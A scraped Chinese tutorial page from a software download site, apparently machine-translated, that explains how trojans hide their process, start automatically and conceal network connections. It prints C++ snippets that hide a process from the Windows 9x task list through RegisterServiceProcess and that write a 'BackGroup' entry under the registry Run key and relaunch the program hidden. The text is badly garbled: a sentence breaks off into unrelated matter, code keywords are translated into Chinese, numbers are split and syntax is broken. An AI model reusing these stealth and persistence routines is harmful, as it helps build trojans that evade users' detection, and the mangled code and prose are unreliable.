当前位置:萝卜系统下载站 > 电脑学习教程 > 详细页面

揭开木马的神秘面纱》如何完成隐藏的破坏力_病毒安全_

揭开木马的神秘面纱》如何完成隐藏的破坏力_病毒安全_

更新时间:2023-07-14 文章作者:未知 信息来源:网络 阅读次数:

随着网络的普及,我们的生活越来越方便,但是网络安全也成了很多人面临的一个问题。特别是那些有着商业数据的企业电脑,更要注意上网安全常识,不然病毒会对我们造成严重的威胁。

近年来,黑客技术已经成熟,对网络安全构成了巨大威胁。黑客的主要攻击手段之一是利用木马技术渗透到对方的主机系统中,从而实山词霸等软件使用类似的方法来拦截TextOutA和TextOutW函数来拦截屏幕输出并实现即时翻译。同样,此方法也可以用于进程隐藏。

当进程真正被隐藏时,则在程序的木马服务器部分运行之后,它不应具有正常的进程,也不应具有服务,也就是说,该进程已完全集成到内核中。系统。也许您会发现它很奇怪。这不是说应用程序运行后必须生成一个进程吗?的确,所以我们不能使他成为一个应用程序,而是作为一个线程,成为其他应用程序的线程,并将其自身注入到其他应用程序的地址空间中。这个应用程序对于系统来说是绝对安全的程序。这样,它实现了完全隐藏的效果。结果,这增加了检查和杀死黑客的难度。

出于安全原因,我仅给出一种通过注册服务程序来实现进程伪隐藏的方法。有关更复杂和高级的隐藏方法,例如将线程远程插入其他进程,请参阅ShotGun的文章“在NT系统下隐藏和检测木马进程”。

WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int)

{

尝试

{

DWORD dwVersion = GetVersion(); //获取Windows的版本号

if(dwVersion> = 0x8000000 0) // Windows 9x隐藏任务列表

{

int(CALLBACK * rsp)(DWORD,DWORD);

HINSTANCE dll = LoadLibrary(“ KERNEL3 2. DLL”); //加载KERNEL3 2. DLL

rsp =(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,“ RegisterServiceProcess”); //查找RegisterServiceProcess的条目

rsp(NULL,1); //注册服务

FreeLibrary(dll); //释放DLL模块

}

}

捕获(异常和异常)//处理异常事件

{

//处理异常事件

}

返回0;

}

3、程序的自动加载和运行技术

有很多方法可以让程序自行运行。除了最常见的方法:将程序加载到启动组,将程序启动路径写入注册表HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersions / Run,还有许多方法。根据yagami的说法,还有其他方法数十种方法,例如,您可以修改Boot.ini,或者可以通过注册表中的输入法键直接挂钩启动,修改Explorer.exe的启动参数等,可以说很难谨防。下面显示了一个通过修改HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Windows / CurrentVersions / Run键值来实现自我启动的程序:

自动加载部分:

HKEY hkey;

AnsiString NewProgramName = AnsiString(sys)+ AnsiString(“ + PName /”> //“)+ PName

无符号长k;

k = REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

“ SOFTWARE // MICROSOFT // WINDOWS // CURRENTVERSION // RUN //”,

0L,

NULL,

REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS | KEY_SET_VALUE,

NULL,

&hkey,&k);

RegSetValueEx(hkey,

“ BackGroup”,

0,

REG_SZ

NewProgramName.c_str(),

NewProgramName.Length());

RegCloseKey(hkey);

if(int(ShellExecute(Handle,

“打开”,

NewProgramName.c_str(),

NULL,

NULL,

SW_HIDE))> 3 2)

{

WantClose = true;

Close();

}

其他

{

HKEY hkey;

无符号长k;

k = REG_OPENED_EXISTING_KEY;

long a = RegCreateKeyEx(HKEY_LOCAL_MACHINE,

“软件//微软// WINDOWS // CURRENTVERSION //运行”,

0,

NULL,

REG_OPTION_NON_VOLATILE,

木马帝国程序_木马程序 分析_apk木马分析

KEY_SET_VALUE,NULL,

&hkey,&k);

RegSetValueEx(hkey,

“ BackGroup”,

0,

REG_SZ

ProgramName.c_str(),

ProgramName.Length());

int num = 0;

char str [20];

DWORD lth = 20;

DWORD类型;

char strv [255];

DWORD vl = 254;

DWORD Suc;

做{

Suc = RegEnumValue(HKEY_LOCAL_MACHINE,

(DWORD)num,str,

NULL,

&type

strv,&vl);

if(strcmp(str,“ BGroup”)== 0)

{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,“ BGroup”);

休息;

}

} while(Suc == ERROR_SUCCESS);

RegCloseKey(hkey);

}

自装载程序的卸载代码:

int num;

char str2 [20];

DWORD lth = 20;

DWORD类型;

char strv [255];

DWORD vl = 254;

DWORD Suc;

做{

Suc = RegEnumValue(HKEY_LOCAL_MACHINE,

(DWORD)num,

str,

NULL,

&type

strv,

&vl);

if(strcmp(str,“ BGroup”)== 0)

{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,“ BGroup”);

休息;

}

} while(Suc == ERROR_SUCCESS)

HKEY hkey;

无符号长k;

k = REG_OPENED_EXISTING_KEY;

RegCreateKeyEx(HKEY_LOCAL_MACHINE,

“软件//微软// WINDOWS // CURRENTVERSION //运行”,

0,

NULL,

REG_OPTION_NON_VOLATILE,

KEY_SET_VALUE,NULL,

&hkey

&k);

做{

Suc = RegEnumValue(hkey,(DWORD)num,str,if(strcmp(str,“ BackGroup”)== 0)

{

DeleteFile(AnsiString(strv));

RegDeleteValue(HKEY_LOCAL_MACHINE,“ BackGroup”);

休息;

}

} while(Suc == ERROR_SUCCESS)

RegCloseKey(hkey);

可以使用C ++ Builder编写这样的自加载部分,该过程将更加简化:

TRegistry&regKey = * new TRegistry();

regKey.RootKey = HKEY_LOCAL_MACHINE;

regKey.OpenKey(“软件// Microsoft // Windows // CurrentVersion // Run”,true);

if(!regKey.ValueExists(“ Interbase服务器”))

{

regKey.WriteString(“ Interbase服务器”,

“ D:// Program Files // Borland // IntrBase // BIN // ibserver.exe”);

}

regKey.CloseKey();

删除?密钥;

4、木马程序用于建立连接隐藏

木马程序有许多数据传输方法。最常见的方法是TCP和UDP数据传输。通常,它使用Winsock与目标计算机的指定端口建立连接,并使用诸如send和recv之类的API来执行数据。但是,由于该方法的隐蔽性很差,因此某些工具软件通常很容易查看它。最简单的方法(例如在命令行状态下使用netstat命令)可以查看当前的活动TCP和UDP连接。

C:/ Documents and Settings / bigball> netstat -n

活动连接

原始本地地址外部地址状态

已建立TCP 19 2. 0. 0. 9:1032 6 4. 4. 1 3. 48:1863

已建立TCP 19 2. 0. 0. 9:1112 6 1. 14 1. 21 2. 95:80已建立

已建立TCP 19 2. 0. 0. 9:1135 20 2. 13 0. 23 9. 223:80已建立

已建立TCP 19 2. 0. 0. 9:1142 20 2. 13 0. 23 9. 223:80已建立


本文来自本站,转载请注明本文网址:
http://www.pc-fly.com/a/shouji/article-368790-1.html


上面是电脑上网安全的一些基础常识,学习了安全知识,几乎可以让你免费电脑中毒的烦扰。

温馨提示:喜欢本站的话,请收藏一下本站!

本类教程下载

系统下载排行

网站地图xml | 网站地图html